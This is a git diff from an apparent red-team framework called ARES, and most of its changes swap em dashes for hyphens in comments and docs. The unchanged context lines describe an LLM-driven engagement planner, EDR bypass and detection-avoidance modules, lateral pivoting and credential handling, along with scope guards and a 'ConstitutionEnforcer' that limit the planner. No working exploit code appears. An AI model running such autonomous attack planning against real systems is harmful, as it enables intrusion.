Public API for this package. Import from here in production code:
diff --git a/ares/security/audit.py b/ares/security/audit.py
index 4569f18..6270908 100644
--- a/ares/security/audit.py
+++ b/ares/security/audit.py
@@ -7,7 +7,7 @@ Results exposed via:
- Scheduled: runs on engine startup (warn-only by default)
pip-audit queries the OSV (Open Source Vulnerabilities) database
-and PyPI Advisory Database — no external API key needed.
+and PyPI Advisory Database - no external API key needed.
Usage:
from ares.security.audit import run_dependency_audit, AuditPolicy
@@ -21,9 +21,9 @@ Startup check (engine integration):
await startup_audit(policy=AuditPolicy.WARN) # or BLOCK_CRITICAL
Policy:
- WARN — log vulnerabilities, continue startup
- BLOCK_CRITICAL — abort startup if any CRITICAL CVEs found
- BLOCK_ANY — abort startup if any CVEs found
+ WARN - log vulnerabilities, continue startup
+ BLOCK_CRITICAL - abort startup if any CRITICAL CVEs found
+ BLOCK_ANY - abort startup if any CVEs found
"""
from __future__ import annotations
@@ -130,7 +130,7 @@ class AuditResult:
if self.error:
return f"Audit failed: {self.error}"
if self.clean:
- return f"✓ Clean — {self.scanned_packages} packages, 0 vulnerabilities"
+ return f"✓ Clean - {self.scanned_packages} packages, 0 vulnerabilities"
return (
f"⚠ {self.total_count} vulnerabilities "
f"({self.critical_count} critical, {self.high_count} high) "
@@ -194,7 +194,7 @@ def _cvss_to_severity(fix_versions: list[str], vuln_id: str,
# 2. Heuristic fallback based on vuln_id prefix
vuln_lower = vuln_id.lower()
if "ghsa" in vuln_lower or "cve" in vuln_lower:
- return CVSSScore.HIGH # conservative — HIGH until score confirmed
+ return CVSSScore.HIGH # conservative - HIGH until score confirmed
return CVSSScore.UNKNOWN
@@ -228,7 +228,7 @@ async def _run_pip_audit(
# Check if pip-audit is available
if not shutil.which("pip-audit"):
- logger.warning("pip-audit not installed — dependency audit unavailable")
+ logger.warning("pip-audit not installed - dependency audit unavailable")
return AuditResult(
tool_available = False,
error = "pip-audit not installed. Install: pip install pip-audit",
@@ -260,7 +260,7 @@ async def _run_pip_audit(
duration = time.monotonic() - t0
- # pip-audit exits 1 when vulnerabilities found — parse output regardless
+ # pip-audit exits 1 when vulnerabilities found - parse output regardless
try:
raw_json = json.loads(stdout.decode())
except json.JSONDecodeError:
@@ -314,9 +314,9 @@ async def startup_audit(
) -> None:
"""
Run audit at engine startup. Behavior controlled by policy:
- WARN — log vulnerabilities, continue
- BLOCK_CRITICAL — raise if critical CVEs found
- BLOCK_ANY — raise if any CVEs found
+ WARN - log vulnerabilities, continue
+ BLOCK_CRITICAL - raise if critical CVEs found
+ BLOCK_ANY - raise if any CVEs found
"""
logger.info("Running startup dependency audit...")
result = await _run_pip_audit()
diff --git a/ares/service_intel/__init__.py b/ares/service_intel/__init__.py
index f1045f2..694bd07 100644
--- a/ares/service_intel/__init__.py
+++ b/ares/service_intel/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — service_intel
+ARES - service_intel
Service intelligence and vulnerability mapping
Public API for this package. Import from here in production code:
diff --git a/ares/service_intel/engine.py b/ares/service_intel/engine.py
index 8d0cade..8aca21b 100644
--- a/ares/service_intel/engine.py
+++ b/ares/service_intel/engine.py
@@ -54,7 +54,7 @@ class ServiceProfile:
description: str = ""
attack_modules: list[str] = field(default_factory=list) # module IDs that can attack this service
cred_types: list[str] = field(default_factory=list) # credential types that work here
- opsec_risk: str = "medium" # low | medium | high — how noisy attacking this is
+ opsec_risk: str = "medium" # low | medium | high - how noisy attacking this is
mitre_techniques: list[str] = field(default_factory=list)
diff --git a/ares/state/__init__.py b/ares/state/__init__.py
index 45a8a05..8f18932 100644
--- a/ares/state/__init__.py
+++ b/ares/state/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — state
+ARES - state
Session/host state tracking
Public API for this package. Import from here in production code:
diff --git a/ares/state/target_state.py b/ares/state/target_state.py
index 3971c24..08fa547 100644
--- a/ares/state/target_state.py
+++ b/ares/state/target_state.py
@@ -69,7 +69,7 @@ class ServiceEntry:
class HostState:
"""Full state of a single target host."""
ip_address: str = ""
- ip: str = field(default="", repr=False) # alias — set either ip_address or ip
+ ip: str = field(default="", repr=False) # alias - set either ip_address or ip
hostname: str = ""
fqdn: str = ""
domain: str = ""
@@ -296,7 +296,7 @@ class OperatorSession:
credentials: list | None = None,
**kwargs: Any,
) -> None:
- """Alias untuk mark_host_owned — auto-create host jika belum ada."""
+ """Alias untuk mark_host_owned - auto-create host jika belum ada."""
if ip_or_hostname not in self._hosts:
self.add_host(ip_or_hostname)
self.mark_host_owned(ip_or_hostname, level, via_module=via_module, username=username)
@@ -497,5 +497,5 @@ class OperatorSession:
# ── Public aliases (backward compatibility + test convenience) ─────────────────
-#: Alias for HostState — used in tests and external tooling that prefer the name TargetHost
+#: Alias for HostState - used in tests and external tooling that prefer the name TargetHost
TargetHost = HostState
diff --git a/ares/strategy/__init__.py b/ares/strategy/__init__.py
index 657f6c8..39fa953 100644
--- a/ares/strategy/__init__.py
+++ b/ares/strategy/__init__.py
@@ -1,14 +1,14 @@
"""
-ares.strategy — Autonomous Engagement Strategy Engine
+ares.strategy - Autonomous Engagement Strategy Engine
Re-exports all public symbols from submodules for backward compatibility.
Internal structure:
- strategy/models.py — ModuleOutcome, RoundResult, EngagementResult, DetectionSpikeError
- strategy/knowledge_base.py — OutcomeKnowledgeBase
- strategy/notifier.py — OperatorNotifier
- strategy/engine.py — StrategyEngine
- strategy/enforcer.py — ConstitutionEnforcer
- strategy/target_state.py — TargetStateMap
+ strategy/models.py - ModuleOutcome, RoundResult, EngagementResult, DetectionSpikeError
+ strategy/knowledge_base.py - OutcomeKnowledgeBase
+ strategy/notifier.py - OperatorNotifier
+ strategy/engine.py - StrategyEngine
+ strategy/enforcer.py - ConstitutionEnforcer
+ strategy/target_state.py - TargetStateMap
"""
from ares.strategy.models import ( # noqa: F401
diff --git a/ares/strategy/enforcer.py b/ares/strategy/enforcer.py
index 483c232..2e881d3 100644
--- a/ares/strategy/enforcer.py
+++ b/ares/strategy/enforcer.py
@@ -1,8 +1,8 @@
"""
-ares/strategy/enforcer.py — ConstitutionEnforcer
+ares/strategy/enforcer.py - ConstitutionEnforcer
Hard Python-layer enforcement between LLM output and engine execution.
-LLM prompt-based constitution can be ignored by hallucinating LLMs —
+LLM prompt-based constitution can be ignored by hallucinating LLMs -
this layer CANNOT be bypassed by any prompt.
Removes violating modules from plan BEFORE it reaches engine.run_module().
@@ -38,7 +38,7 @@ ALWAYS_REQUIRE_AUTH: frozenset[str] = frozenset({
# Modules that are absolutely never allowed (data destructive / ransomware-adjacent)
ALWAYS_FORBIDDEN: frozenset[str] = frozenset({
# Add any engagement-universal hard blocks here
- # Currently empty — per-engagement forbidden_modules handles this
+ # Currently empty - per-engagement forbidden_modules handles this
})
@@ -174,7 +174,7 @@ class ConstitutionEnforcer:
if clean_mods:
clean_stages.append({**stage, "modules": clean_mods})
elif raw_modules:
- # All modules in stage were removed — log clearly
+ # All modules in stage were removed - log clearly
logger.warning("constitution_stage_emptied",
stage=stage_name,
removed=raw_modules)
diff --git a/ares/strategy/engine.py b/ares/strategy/engine.py
index 54adb50..6e0684b 100644
--- a/ares/strategy/engine.py
+++ b/ares/strategy/engine.py
@@ -1,5 +1,5 @@
"""
-ares.strategy.engine — Autonomous Engagement Strategy Engine
+ares.strategy.engine - Autonomous Engagement Strategy Engine
Orchestrates strategic modules in a continuous adaptive engagement loop.
Extracted from strategy/__init__.py for maintainability.
@@ -32,7 +32,7 @@ class StrategyEngine:
Orchestrates all 4 strategic modules in an adaptive engagement loop.
Each round:
- 1. Check detection probability — stop if too hot
+ 1. Check detection probability - stop if too hot
2. Gather EDR context for bypass planning
3. AI re-plans with full accumulated context
4. Execute plan with bypass techniques applied
@@ -419,7 +419,7 @@ class StrategyEngine:
final_status = "low_confidence"
break
- # ── ConstitutionEnforcer — Python-layer safety, cannot be bypassed ─
+ # ── ConstitutionEnforcer - Python-layer safety, cannot be bypassed ─
# Build AIPlan object from raw planner output for enforcer
from ares.modules.ai.autonomous_planner import AIPlan
ai_plan = AIPlan(
@@ -459,7 +459,7 @@ class StrategyEngine:
for s in ai_plan.stages
]
- # Notify operator — plan ready for review
+ # Notify operator - plan ready for review
await self._notifier.send("plan_ready", {
"round": round_num,
"confidence": plan_confidence,
@@ -504,7 +504,7 @@ class StrategyEngine:
**round_extra_context,
"rejected_plan_reason": (
f"Plan rejected: projected detection "
- f"{projection['projected_score']:.0%} — too high. "
+ f"{projection['projected_score']:.0%} - too high. "
"Use STEALTH techniques only. "
"Avoid HIGH_NOISE modules. "
f"Flagged modules: "
@@ -515,7 +515,7 @@ class StrategyEngine:
replan_conf = replan_result.get("confidence_score", 0.0)
replan_plan = replan_result.get("execution_plan", [])
if replan_conf >= confidence_threshold and replan_plan:
- # Accept revised plan — re-enforce and re-check projection
+ # Accept revised plan - re-enforce and re-check projection
ai_plan.stages = replan_plan
ai_plan, _ = enforcer.enforce(ai_plan, campaign)
exec_plan = [
@@ -526,7 +526,7 @@ class StrategyEngine:
logger.info("pre_exec_replan_accepted",
round=round_num, confidence=replan_conf)
else:
- # Replan also failed — stop this round
+ # Replan also failed - stop this round
logger.warning("pre_exec_replan_failed",
round=round_num, confidence=replan_conf)
rounds.append(RoundResult(
@@ -775,7 +775,7 @@ class StrategyEngine:
def _build_base_params(self, campaign: "Any") -> dict:
"""
- Return base params that all modules inherit — intentionally minimal.
+ Return base params that all modules inherit - intentionally minimal.
DO NOT set "target" here: CIDR network address (e.g. 10.0.0.0) is not
a valid scan target. LLM stage_params must specify the actual host.
If LLM omits target, the module will fail with a validation error
diff --git a/ares/strategy/knowledge_base.py b/ares/strategy/knowledge_base.py
index ff3cb2a..9d50d3f 100644
--- a/ares/strategy/knowledge_base.py
+++ b/ares/strategy/knowledge_base.py
@@ -1,5 +1,5 @@
"""
-ares.strategy.knowledge_base — Per-session outcome tracking for autonomous engagements.
+ares.strategy.knowledge_base - Per-session outcome tracking for autonomous engagements.
Tracks module success rates per EDR vendor across rounds.
Feeds context to AI planner for better decision-making in subsequent rounds.
@@ -16,7 +16,7 @@ logger = get_logger("ares.strategy.knowledge_base")
class OutcomeKnowledgeBase:
"""
Per-session knowledge base tracking module success rates per EDR vendor.
- Persists in memory across rounds — feeds AI planner for better decisions.
+ Persists in memory across rounds - feeds AI planner for better decisions.
"""
def __init__(self) -> None:
diff --git a/ares/strategy/models.py b/ares/strategy/models.py
index c9fcfd3..7ade44a 100644
--- a/ares/strategy/models.py
+++ b/ares/strategy/models.py
@@ -1,5 +1,5 @@
"""
-ares.strategy.models — Data models for the autonomous engagement strategy engine.
+ares.strategy.models - Data models for the autonomous engagement strategy engine.
Dataclasses used across StrategyEngine, KnowledgeBase, and Notifier.
Extracted from strategy/__init__.py for maintainability.
diff --git a/ares/strategy/notifier.py b/ares/strategy/notifier.py
index 5cadbf9..fa2fa6d 100644
--- a/ares/strategy/notifier.py
+++ b/ares/strategy/notifier.py
@@ -1,5 +1,5 @@
"""
-ares.strategy.notifier — Operator notification hooks for autonomous engagements.
+ares.strategy.notifier - Operator notification hooks for autonomous engagements.
Collects and dispatches notifications during strategy engine rounds.
Pluggable via webhook callback or WebSocket forwarding.
@@ -18,7 +18,7 @@ logger = get_logger("ares.strategy.notifier")
class OperatorNotifier:
- """Collects operator notifications — pluggable via webhook or WebSocket."""
+ """Collects operator notifications - pluggable via webhook or WebSocket."""
def __init__(self, notify_fn: Callable | None = None) -> None:
self._fn = notify_fn
diff --git a/ares/strategy/target_state.py b/ares/strategy/target_state.py
index 1350356..908d216 100644
--- a/ares/strategy/target_state.py
+++ b/ares/strategy/target_state.py
@@ -1,5 +1,5 @@
"""
-ares/strategy/target_state.py — Per-Host Memory for StrategyEngine
+ares/strategy/target_state.py - Per-Host Memory for StrategyEngine
Tracks what ARES knows about each target host across rounds:
- Which modules succeeded / failed here
diff --git a/ares/technique/__init__.py b/ares/technique/__init__.py
index ba2ee96..d31e5e8 100644
--- a/ares/technique/__init__.py
+++ b/ares/technique/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — technique
+ARES - technique
MITRE ATT&CK technique library
Public API for this package. Import from here in production code:
diff --git a/ares/technique/library.py b/ares/technique/library.py
index 164f0ae..1d96316 100644
--- a/ares/technique/library.py
+++ b/ares/technique/library.py
@@ -652,7 +652,7 @@ _MODULE_TECHNIQUE_MAP: dict[str, list[str]] = {
"network.pivot": ["T1090.001", "T1021.004"],
# ── Recon & Reporting ────────────────────────────────────────────────────
"recon.fingerprint": ["T1082", "T1518.001"],
- "reporting.report_gen": [], # no offensive technique — output only
+ "reporting.report_gen": [], # no offensive technique - output only
# ── New strategic modules ─────────────────────────────────────────────────
"opsec.coverage_predictor": ["T1592"],
"edr.bypass_adaptive": ["T1562.001", "T1055", "T1027", "T1562.006"],
diff --git a/ares/telemetry/__init__.py b/ares/telemetry/__init__.py
index 77af18c..c3d6126 100644
--- a/ares/telemetry/__init__.py
+++ b/ares/telemetry/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — telemetry
+ARES - telemetry
Telemetry and metrics collection
Public API for this package. Import from here in production code:
diff --git a/ares/worker/__init__.py b/ares/worker/__init__.py
index d4e8c49..db55565 100644
--- a/ares/worker/__init__.py
+++ b/ares/worker/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — worker
+ARES - worker
Distributed worker cluster
Public API for this package. Import from here in production code:
diff --git a/ares/worker/_subprocess_worker.py b/ares/worker/_subprocess_worker.py
index 4754b97..f88e597 100644
--- a/ares/worker/_subprocess_worker.py
+++ b/ares/worker/_subprocess_worker.py
@@ -4,7 +4,7 @@ This script is executed as a child process by IsolatedRunner.
It reads a JSON payload from stdin, runs the requested module,
and writes a JSON result to stdout.
-Parent process reads stdout — stderr is logged separately.
+Parent process reads stdout - stderr is logged separately.
Exit code 0 = success (even if module found nothing).
Exit code 1 = crash (parent will log stderr).
"""
@@ -23,7 +23,7 @@ try:
_HAS_RESOURCE = True
except ImportError:
_resource = None # type: ignore[assignment]
- _HAS_RESOURCE = False # Windows — resource limits not available
+ _HAS_RESOURCE = False # Windows - resource limits not available
def apply_memory_limit(max_mb: int | None) -> None:
@@ -46,7 +46,7 @@ def apply_capability_limits(caps: set[str], limits: dict[str, int]) -> None:
to apply CPU, memory, process, and file descriptor limits.
"""
if not _HAS_RESOURCE:
- return # Windows — resource limits not supported
+ return # Windows - resource limits not supported
try:
cpu_s = limits.get("cpu_time_s", 30)
mem_mb = limits.get("memory_mb", 256)
@@ -70,7 +70,7 @@ def apply_capability_limits(caps: set[str], limits: dict[str, int]) -> None:
_resource.setrlimit(_resource.RLIMIT_NOFILE, (nfiles, nfiles))
except (AttributeError, ValueError, OSError):
- pass # Platform doesn't support — fail open (log in parent)
+ pass # Platform doesn't support - fail open (log in parent)
def check_capability_boundary(module_id: str, caps: set[str]) -> None:
@@ -84,7 +84,7 @@ def check_capability_boundary(module_id: str, caps: set[str]) -> None:
di test environment.
"""
if "cap_unsafe" in caps:
- return # builtin modules — no restrictions
+ return # builtin modules - no restrictions
import os
@@ -223,7 +223,7 @@ def main() -> None:
sys.stdout.write(json.dumps(result))
sys.stdout.flush()
sys.exit(0)
- except Exception: # top-level subprocess handler — must catch all
+ except Exception: # top-level subprocess handler - must catch all
err = traceback.format_exc()
sys.stderr.write(f"[worker] Unhandled exception:\n{err}\n")
error_result = {
diff --git a/ares/worker/cluster.py b/ares/worker/cluster.py
index ec73d1d..3b1c1a6 100644
--- a/ares/worker/cluster.py
+++ b/ares/worker/cluster.py
@@ -63,7 +63,7 @@ class TaskState(str, Enum):
_SENSITIVE_PARAM_KEYS: frozenset[str] = frozenset(
{
- # Credentials — must never be stored plaintext in Redis
+ # Credentials - must never be stored plaintext in Redis
"password",
"secret",
"nt_hash",
@@ -104,9 +104,9 @@ class ClusterTask:
timeout_s: int = 300 # 5 min default task timeout
def to_json(self) -> str:
- """Serialize to JSON — redacts sensitive credential params before writing to Redis."""
+ """Serialize to JSON - redacts sensitive credential params before writing to Redis."""
d = asdict(self)
- # Redact sensitive values — never store plaintext credentials in Redis
+ # Redact sensitive values - never store plaintext credentials in Redis
if d.get("params"):
d["params"] = {
k: "<REDACTED>" if k in _SENSITIVE_PARAM_KEYS else v
@@ -242,7 +242,7 @@ class RedisTaskQueue:
"""
Claim the highest-priority task this worker can handle.
- Uses ZPOPMIN (truly atomic) — a single command that reads and removes
+ Uses ZPOPMIN (truly atomic) - a single command that reads and removes
in one operation. The old zrange+zrem pattern was non-atomic: two workers
could both read the same candidate then race on zrem, with the loser
silently dropping the task. ZPOPMIN prevents that entirely.
@@ -251,7 +251,7 @@ class RedisTaskQueue:
the queue with its original score so another worker can pick it up.
"""
# ZPOPMIN pops the member with the lowest score (= highest priority) atomically.
- # count=1 — claim one task per call. Loop until we find one we can handle
+ # count=1 - claim one task per call. Loop until we find one we can handle
# or the queue is empty.
max_skip = 20 # don't loop forever if every task is unhandleable
for _ in range(max_skip):
@@ -269,7 +269,7 @@ class RedisTaskQueue:
task_json = await self._redis.hget(self.INFLIGHT_KEY, task_id)
if not task_json:
- # Orphaned score entry — already completed/failed, skip
+ # Orphaned score entry - already completed/failed, skip
continue
task = ClusterTask.from_json(task_json)
@@ -392,7 +392,7 @@ class RedisTaskQueue:
class InProcessTaskQueue:
"""
- Pure asyncio in-process queue — no Redis required.
+ Pure asyncio in-process queue - no Redis required.
Same interface as RedisTaskQueue.
Used in single-operator mode and testing.
"""
@@ -678,11 +678,11 @@ class ClusterWorkerNode:
settings = get_settings()
# Fetch real campaign scope from DB so scope guard is not bypassed
- _real_scope: list[ScopeEntry] = [] # deny-all default — fail closed
+ _real_scope: list[ScopeEntry] = [] # deny-all default - fail closed
try:
from ares.db.database import AresDatabase
- # AresDatabase.create() calls connect() internally — do NOT call again
+ # AresDatabase.create() calls connect() internally - do NOT call again
async with await AresDatabase.create(
settings.ares_database_url,
settings.encryption_key_value,
@@ -709,7 +709,7 @@ class ClusterWorkerNode:
)
await self.queue.fail(
task,
- "Campaign scope unavailable — refusing to execute with unbounded scope. "
+ "Campaign scope unavailable - refusing to execute with unbounded scope. "
"Check DB connectivity.",
requeue=False,
)
@@ -724,7 +724,7 @@ class ClusterWorkerNode:
noise = NoiseController(campaign)
module = module_cls(settings=settings, campaign=campaign, noise=noise)
- # Use execute(ctx) — same interface as engine, respects vault/context
+ # Use execute(ctx) - same interface as engine, respects vault/context
ctx = _ExCtx.build(
campaign=campaign,
target=task.params.get("target", ""),
diff --git a/ares/worker/controller.py b/ares/worker/controller.py
index 5e9c7b6..4174ccf 100644
--- a/ares/worker/controller.py
+++ b/ares/worker/controller.py
@@ -187,7 +187,7 @@ class TaskQueue:
self._done[task_id] = task
# Remove from worker's current tasks
if task.assigned_to:
- for w in []: # injected reference needed — see WorkerController
+ for w in []: # injected reference needed - see WorkerController
if w.worker_id == task.assigned_to:
w.current_tasks = [t for t in w.current_tasks if t != task_id]
logger.info("task_complete", task_id=task_id)
@@ -210,7 +210,7 @@ class TaskQueue:
logger.error("task_permanently_failed", task_id=task_id, error=error)
async def requeue_worker_tasks(self, worker_id: str) -> int:
- """Called when a worker dies — requeue all its active tasks."""
+ """Called when a worker dies - requeue all its active tasks."""
async with self._lock:
requeued = 0
for task_id, task in list(self._active.items()):
diff --git a/ares/worker/isolation.py b/ares/worker/isolation.py
index e4598ab..3469fcc 100644
--- a/ares/worker/isolation.py
+++ b/ares/worker/isolation.py
@@ -10,7 +10,7 @@ Architecture:
load module
run module
serialize findings → stdout (JSON)
- ← receive JSON result exit (clean or crash — engine unaffected)
+ ← receive JSON result exit (clean or crash - engine unaffected)
Communication: stdin/stdout JSON (no shared memory, no IPC sockets).
Timeout: enforced by asyncio.wait_for + proc.kill()
diff --git a/docker/Dockerfile.prod b/docker/Dockerfile.prod
index aa8f202..305d58e 100644
--- a/docker/Dockerfile.prod
+++ b/docker/Dockerfile.prod
@@ -25,7 +25,7 @@ FROM python:3.11-slim AS runtime
# Security: non-root user
RUN groupadd --system ares && useradd --system --gid ares --no-create-home ares
-# OS deps for weasyprint PDF generation only — curl removed (use Python healthcheck)
+# OS deps for weasyprint PDF generation only - curl removed (use Python healthcheck)
RUN apt-get update && apt-get install -y --no-install-recommends \
libpango-1.0-0 libpangoft2-1.0-0 libgdk-pixbuf2.0-0 \
libffi-dev libcairo2 \
@@ -64,7 +64,7 @@ ENV ARES_API_HOST=0.0.0.0 \
EXPOSE 8080
-# Python-based healthcheck — no curl needed in runtime image
+# Python-based healthcheck - no curl needed in runtime image
HEALTHCHECK --interval=30s --timeout=10s --start-period=15s --retries=3 \
CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:8080/health')" || exit 1
diff --git a/docker/README.md b/docker/README.md
index 80afc7f..1368aee 100644
--- a/docker/README.md
+++ b/docker/README.md
@@ -4,8 +4,8 @@
| File | Purpose |
|------|---------|
-| `Dockerfile.prod` | **Production** — Node frontend build, Python runtime, non-root user, healthcheck |
-| `Dockerfile.dev` | **Development** — single-stage, editable install (`pip install -e ".[dev]"`), source mount |
+| `Dockerfile.prod` | **Production** - Node frontend build, Python runtime, non-root user, healthcheck |
+| `Dockerfile.dev` | **Development** - single-stage, editable install (`pip install -e ".[dev]"`), source mount |
| `docker-compose.prod.yml` | Production compose (use with `Dockerfile.prod`) |
| `docker-compose.dev.yml` | Development compose (use with `Dockerfile.dev`, mounts source for hot-reload) |
diff --git a/docker/docker-compose.dev.yml b/docker/docker-compose.dev.yml
index 7d12051..8158de1 100644
--- a/docker/docker-compose.dev.yml
+++ b/docker/docker-compose.dev.yml
@@ -1,6 +1,6 @@
version: "3.9"
-# Development compose — single-stage Dockerfile.dev, source mounted for hot-reload.
+# Development compose - single-stage Dockerfile.dev, source mounted for hot-reload.
# One-liner start (no setup required):
# docker compose -f docker/docker-compose.dev.yml up
@@ -12,7 +12,7 @@ services:
ports:
- "127.0.0.1:8080:8080"
environment:
- # ⚠️ DEV-ONLY FALLBACK SECRETS — FOR LOCAL DEVELOPMENT USE ONLY
+ # ⚠️ DEV-ONLY FALLBACK SECRETS - FOR LOCAL DEVELOPMENT USE ONLY
# These weak defaults apply ONLY when the variable is not set in the environment.
# NEVER deploy to staging or production without setting real values:
# cp .env.example .env && edit .env && set all ARES_* vars
@@ -32,7 +32,7 @@ services:
ARES_CORS_ORIGINS: "http://localhost:5173"
env_file:
- path: ../.env
- required: false # Don't fail if .env doesn't exist — env block above provides defaults
+ required: false # Don't fail if .env doesn't exist - env block above provides defaults
volumes:
- ares-data:/home/ares/.ares
- ares-logs:/app/logs
diff --git a/docker/docker-compose.prod.yml b/docker/docker-compose.prod.yml
index 02eec3c..8766c23 100644
--- a/docker/docker-compose.prod.yml
+++ b/docker/docker-compose.prod.yml
@@ -1,6 +1,6 @@
version: "3.9"
-# Production compose — uses multi-stage Dockerfile.prod
+# Production compose - uses multi-stage Dockerfile.prod
# Start: docker compose -f docker/docker-compose.prod.yml up -d
services:
@@ -8,7 +8,7 @@ services:
build:
context: ..
dockerfile: docker/Dockerfile.prod
- # Do NOT expose port directly — nginx terminates TLS
+ # Do NOT expose port directly - nginx terminates TLS
expose:
- "8080"
env_file:
@@ -34,7 +34,7 @@ services:
timeout: 10s
start_period: 15s
retries: 3
- # ares-api has no service dependencies — it starts independently
+ # ares-api has no service dependencies - it starts independently
nginx:
image: nginx:1.25-alpine@sha256:a59278fd22a9d411121e190b8cec8aa57b306aa3332459197777583beb728f59 # pinned 2024-03
diff --git a/docs/ENGINE_FLOW.md b/docs/ENGINE_FLOW.md
index 29f2a98..5642293 100644
--- a/docs/ENGINE_FLOW.md
+++ b/docs/ENGINE_FLOW.md
@@ -29,8 +29,8 @@ Operator Input (CLI / API)
│ AresEngine.run_module(module_id, campaign, params)
│ │
│ ├── Plugin loader resolves module class
- │ ├── ScopeGuard.check(target) — blocks out-of-scope
- │ ├── NoiseController.jitter() — random delay
+ │ ├── ScopeGuard.check(target) - blocks out-of-scope
+ │ ├── NoiseController.jitter() - random delay
│ ├── module.run(**params)
│ │ └── module.execute(ctx) → findings, raw
│ ├── CVSS enrichment on each finding
@@ -79,7 +79,7 @@ repository-test seam may invoke it.
**Chain resolution priority:**
1. `preferred_chain` from GoalDefinition (if all modules available)
-2. `CapabilityGraph.resolve_chain()` — backward-chain from `required_outputs`
+2. `CapabilityGraph.resolve_chain()` - backward-chain from `required_outputs`
3. `fallback_chains` from GoalDefinition
4. Best-effort: available modules from preferred_chain
diff --git a/docs/MODULE_GUIDE.md b/docs/MODULE_GUIDE.md
index a901d0e..0380c63 100644
--- a/docs/MODULE_GUIDE.md
+++ b/docs/MODULE_GUIDE.md
@@ -16,8 +16,8 @@ ares module create ad.my_attack \
```
This creates two files:
-- `my_attack.py` — module implementation
-- `test_my_attack.py` — test scaffold
+- `my_attack.py` - module implementation
+- `test_my_attack.py` - test scaffold
---
diff --git a/docs/api-reference.md b/docs/api-reference.md
index 5fca4fb..eb4b961 100644
--- a/docs/api-reference.md
+++ b/docs/api-reference.md
@@ -9,7 +9,7 @@
> credential.
>
> **Note:** The web dashboard (`/dashboard/*`) has its own authentication
-> using the same tokens — see [Dashboard](#dashboard) section.
+> using the same tokens - see [Dashboard](#dashboard) section.
---
@@ -195,12 +195,12 @@ restriction on API-key-compatible routes and do not replace RBAC.
{
"id": "...",
"key": "ares_...",
- "note": "Save this key — it will NOT be shown again.",
+ "note": "Save this key - it will NOT be shown again.",
"prefix": "ares_..."
}
```
-> Store `key` immediately — the full API key secret is not recoverable after
+> Store `key` immediately - the full API key secret is not recoverable after
> this response.
> In the dashboard, the same one-time secret is shown in the `Save your key`
> modal. The key list shows metadata and a prefix only, not the full secret.
@@ -294,7 +294,7 @@ Get CVSS score distribution for a campaign.
### `GET /campaigns/{id}/diff/{other_id}`
-Compare two campaigns — shows new findings, fixed findings, and severity changes.
+Compare two campaigns - shows new findings, fixed findings, and severity changes.
Useful for verifying remediation between assessments.
---
diff --git a/docs/architecture.md b/docs/architecture.md
index 0ce4be3..cbbd13a 100644
--- a/docs/architecture.md
+++ b/docs/architecture.md
@@ -78,23 +78,23 @@ ARES is **not** a C2 framework. It does not include implants, beacons, or persis
| File | Purpose |
|------|---------|
-| `engine.py` | `AresEngine` — async orchestrator, runs `ExecutionPlan` |
-| `context.py` | `ExecutionContext` — unified module input object |
+| `engine.py` | `AresEngine` - async orchestrator, runs `ExecutionPlan` |
+| `context.py` | `ExecutionContext` - unified module input object |
| `errors.py` | Unified error hierarchy (`ModuleError`, `NetworkError`, etc.) |
-| `di.py` | `AresContainer` — dependency injection / service locator |
+| `di.py` | `AresContainer` - dependency injection / service locator |
| `campaign.py` | `Campaign`, `Finding`, `ScopeEntry`, `NoiseProfile` |
| `config.py` | `AresSettings` (Pydantic), `@lru_cache` singleton |
| `noise.py` | `NoiseController`, `JitterEngine`, `RateLimiter`, `ScopeGuard` |
| `security.py` | JWT, `DataEncryptor` (Fernet), bcrypt, sanitize_* helpers |
| `logger.py` | structlog NDJSON, sensitive data masking |
-| `sandbox.py` | `SandboxRunner` — 4-tier module isolation |
+| `sandbox.py` | `SandboxRunner` - 4-tier module isolation |
| `chain/chain.py` | `AttackChain`, Kahn's dependency resolver, `ChainAdvisor` |
| `opsec/opsec.py` | UA rotation, beacon scheduler, traffic shaping |
-| `opsec/adaptive.py` | `AdaptiveOpsecEngine` — sliding window signal detection |
+| `opsec/adaptive.py` | `AdaptiveOpsecEngine` - sliding window signal detection |
| `plugin/loader.py` | `PluginLoader`, `ModuleRegistry` |
| `validator.py` | `FindingValidator`, confidence scoring, FP filtering |
-### 2. `ares/modules/base.py` — SDK Contract
+### 2. `ares/modules/base.py` - SDK Contract
Every module MUST implement this interface:
@@ -154,12 +154,12 @@ AresError
│ └── RateLimited (pause)
├── CredentialError (try next cred)
│ ├── AuthenticationFailed (try next)
-│ ├── AccountLocked (ABORT — never retry)
+│ ├── AccountLocked (ABORT - never retry)
│ └── CredentialExpired (skip)
├── ExecutionError
│ ├── SandboxError (skip)
│ └── WorkerCrashed (requeue)
-├── ScopeError (ABORT — never retry)
+├── ScopeError (ABORT - never retry)
├── OpsecError (pause/adjust profile)
│ ├── DetectionSignal (escalate profile)
│ └── HoneypotDetected (ABORT campaign)
diff --git a/docs/dashboard-guide.md b/docs/dashboard-guide.md
index 61b283c..fab0038 100644
--- a/docs/dashboard-guide.md
+++ b/docs/dashboard-guide.md
@@ -197,11 +197,11 @@ Current page tabs:
![Dashboard overview standby zero-state](assets/screenshots/dashboard-overview-empty.png)
-*Tactical Zero-State Overview — Clean onboarding hero with instant readiness strip and initialization actions when running zero active campaigns.*
+*Tactical Zero-State Overview - Clean onboarding hero with instant readiness strip and initialization actions when running zero active campaigns.*
![Dashboard overview active telemetry](assets/screenshots/dashboard-overview.png)
-*Active Telemetry Overview — Real-time telemetry, confirmed findings by severity, queue metrics, and campaign status.*
+*Active Telemetry Overview - Real-time telemetry, confirmed findings by severity, queue metrics, and campaign status.*
Purpose: quick system status.
@@ -335,7 +335,7 @@ Purpose: understand lateral pivot relationships, trace multi-hop compromise rout
![Cobalt Strike Hierarchical Pivot Graph & Docked Beacon Session Terminal](assets/screenshots/dashboard-graph.png)
-*Cobalt Strike Hierarchical Pivot Graph & Docked Beacon Session Terminal Console — Live enterprise campaign topology (`Operation Titan Shield`), multi-hop lateral pivot routes, dynamic privilege styling, and interactive command execution.*
+*Cobalt Strike Hierarchical Pivot Graph & Docked Beacon Session Terminal Console - Live enterprise campaign topology (`Operation Titan Shield`), multi-hop lateral pivot routes, dynamic privilege styling, and interactive command execution.*
#### Graph Topology & Navigation
diff --git a/docs/engine_design.md b/docs/engine_design.md
index 75a14de..0b359b3 100644
--- a/docs/engine_design.md
